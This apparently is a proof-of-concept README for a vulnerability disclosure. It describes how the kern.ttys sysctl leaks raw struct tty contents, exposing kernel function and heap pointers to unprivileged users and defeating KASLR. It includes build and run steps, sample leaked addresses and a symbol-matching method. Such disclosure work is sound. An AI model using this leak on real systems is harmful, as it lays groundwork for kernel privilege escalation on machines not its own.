# DF-0006 — PoC

`leak_ttys.c` — unprivileged leak of kernel function/heap pointers via the
`kern.ttys` sysctl.

## The issue

`sysctl_kern_ttys()` (`sys/kern/tty.c:2891-2921`) emits each `struct tty`
verbatim:

```c
t = *tp;                                  /* tty.c:2911  whole struct */
if (t.t_dev) t.t_dev = devid_from_dev(..);/* only t_dev sanitized */
SYSCTL_OUT(req, &t, sizeof(t));           /* tty.c:2914 */
```

`struct tty` (`sys/sys/tty.h`) carries kernel `.text` function pointers
(`t_oproc`/`t_stop`/`t_param`/`t_unhold` → exact KASLR-defeat), kernel heap
object pointers (`t_pgrp`/`t_session`/`t_sigio`/`t_sc`/`t_slsc`), per-clist
`c_data` buffer pointers, and an embedded `lwkt_token`. Only `t_dev` is
sanitized. The OID is `CTLTYPE_OPAQUE|CTLFLAG_RD` (`tty.c:2923`) and sysctl
reads are not privilege-gated (`kern_sysctl.c:1446-1450` gates only writes),
so any unprivileged local user can dump them all.

## Build

```
cc -o leak_ttys leak_ttys.c      # or: ./build.sh
```

## Run

As an **unprivileged** user (e.g. `maxx`, uid 1001):

```
./leak_ttys       # or: ./run.sh
```

## Expected output (bug present)

```
got 3760 bytes from kern.ttys
raw blob written to ttys.bin (3760 bytes)
  blob offset   256 (word    32): 0xffffffff80b8b800   <- t_oproc = scstart
  blob offset   264 (word    33): 0xffffffff806b7eb0   <- t_stop  = nottystop
  blob offset   272 (word    34): 0xffffffff80b86930   <- t_param = scparam
  ...
total kernel-range pointer-sized values leaked: 102
```

The `0xffffffff80????????` values match `nm /boot/kernel/kernel` symbols
**exactly** (see `leak_sample.txt`) — proving real kernel `.text` addresses are
leaked and KASLR is defeated. The `0xfffff8??????????` values are live slab /
direct-map heap addresses (clist buffers, pgrp/session objects). Stable across
runs in the same boot (`run.log`/`run.2.log`/`run.3.log`). On a fixed kernel,
zero kernel-range pointers appear and the program exits 2.

## Cross-referencing against nm (optional, reproduces the leak_sample.txt table)

```
nm -n /boot/kernel/kernel > kernel.nm        # world-readable
./leak_ttys                                  # writes ttys.bin
# then for each candidate value, find the nearest nm symbol:
python3 -c "import bisect,struct; ..."       # see leak_sample.txt for results
```
